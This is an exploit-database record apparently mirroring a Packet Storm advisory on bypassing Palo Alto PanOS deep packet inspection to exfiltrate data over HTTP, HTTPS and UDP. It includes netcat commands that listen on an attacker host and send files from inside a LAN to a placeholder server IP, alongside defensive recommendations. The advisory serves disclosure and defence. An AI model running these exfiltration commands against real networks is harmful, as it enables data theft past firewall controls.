📄 Palo Alto Deep Packet Inspection Information Disclosure_PACKETSTORM:212667

{
    "lastseen": "2025-12-10T17:38:16",
    "description": "Proof of concept code for Palo Alto deep packet inspection data exfiltration issues that appear to affect PanOS up to version 11.2.0...",
    "published": "2025-12-10T00:00:00",
    "modified": "2025-12-10T00:00:00",
    "type": "packetstorm",
    "title": "\ud83d\udcc4 Palo Alto Deep Packet Inspection Information Disclosure",
    "source": "",
    "references": "",
    "id": "PACKETSTORM:212667",
    "bulletinFamily": "exploit",
    "cwe": null,
    "cvelist": [],
    "sourceData": "=============================================================================================================================================\n    | # Title     : Palo Alto Deep Packet Inspection (DPI) Critical Vulnerabilities in Mechanism                                                |\n    | # Author    : indoushka                                                                                                                   |\n    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\n    | # Vendor    : https://www.paloaltonetworks.com/network-security/pan-os                                                                    |\n    =============================================================================================================================================\n    \n    POC :\n    \n    [+] Summary\n    \n       3 vulnerabilities in Palo Alto Deep Packet Inspection mechanism  \n       Advisory URL: https://pierrekim.github.io/advisories/2025-palo-alto-dpi.txt  \n       Blog URL: https://pierrekim.github.io/blog/2025-03-31-paloalto-dpi-3-vulnerabilities.html  \n    \n    [+] :: Product Description ::\n        ------------------------------------------------------------\n       Palo Alto\u2019s Next-Generation Firewalls provide advanced packet inspection technologies including Deep Packet Inspection (DPI).  \n        They use App-ID technology to identify applications even when they attempt to evade detection through masquerading, port hopping, or encryption.\n    \n       ------------------------------------------------------------\n    [+] :: Vulnerability Summary ::\n       ------------------------------------------------------------\n       Vulnerable versions: **All Palo Alto firewall versions**.\n    \n      Versions tested (November 2024):  \n      - PanOS 10.2.8 \u2013 vulnerable  \n      - PanOS 10.2.9-h1 \u2013 vulnerable  \n      - PanOS 11.1.4 \u2013 vulnerable  \n      - PanOS 11.2.0 \u2013 vulnerable  \n    \n    [+] Three main vulnerabilities:\n    \n       1. **Exfiltration of data via TCP/80 using \u201cservice-http\u201d**  \n       2. **Exfiltration of data via TCP/443 using \u201cservice-https\u201d**  \n       3. **Exfiltration of data via UDP to any port and any IP**  \n       - Includes PoC: client.py and server.py\n    \n    \n    [+] :: Impact ::\n    ------------------------------------------------------------\n      An attacker within the LAN can:  \n      - Bypass Deep Packet Inspection  \n      - Exfiltrate sensitive data to any external IP  \n      - Using HTTP, HTTPS, or UDP  \n      - Without any filtering or blocking  \n    \n       This makes networks relying solely on DPI rules **highly vulnerable to data exfiltration attacks**.\n    \n       ------------------------------------------------------------\n    [+] :: Recommendations ::\n       ------------------------------------------------------------\n       - Do not use DPI rules without specifying destination IP ranges.  \n       - Always define IPv4/IPv6 ranges of allowed remote services.  \n       - Use Palo Alto EDL when possible.  \n       - Do not rely solely on App-ID to classify sensitive applications.  \n    \n    ------------------------------------------------------------\n    [+] :: PoC Summary ::\n    ------------------------------------------------------------\n    \n    **Server (attacker on WAN) \u2013 listening on port 80:**\n    \n        for i in $(seq 1 10); do nc -l -v -p 80 > exfiltration-http-$i; sleep 1; done\n    \n    **Client (inside LAN) \u2013 sending random data:**\n    \n        for i in $(seq 1 10); do nc -v <SERVER-IP> 80 < rand.hex; sleep 1.5; done\n    \n    **Verification:**\n    \n        sha256sum exfiltration-http-*\n    \n    All received files match the original hash \u2014 confirming successful data exfiltration through the firewall.\n    \n    ------------------------------------------------------------\n    [+] :: Full Attack Execution (Working PoC) ::\n    ------------------------------------------------------------\n    \n    1. On the attacker/server side:\n    \n        nc -l -v -p 80 > exfil-file\n    \n    2. On the victim/client side inside LAN:\n    \n        nc -v <SERVER-IP> 80 < file-to-exfiltrate.bin\n    \n    3. The server receives the data despite DPI rules.\n    \n    ------------------------------------------------------------\n    [+] :: Conclusion ::\n    ------------------------------------------------------------\n    The Deep Packet Inspection system in Palo Alto firewalls can be fully bypassed to leak data via HTTP/HTTPS/UDP without filtering.  \n    Because the engine allows up to 256 KB before blocking, attackers can exfiltrate massive amounts of information.\n    \n    **All networks relying solely on App-ID or DPI without strict IP-based rules are at severe risk of data exfiltration.**\n    \n    \n    Greetings to :=====================================================================================\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\n    ===================================================================================================",
    "sourceHref": "https://packetstorm.news/download/212667",
    "cvss": {
        "score": 0,
        "severity": "NONE",
        "vector": "NONE",
        "version": "NONE"
    },
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    },
    "href": "https://packetstorm.news/files/id/212667/",
    "category_name": "Exploit",
    "post_link": "",
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}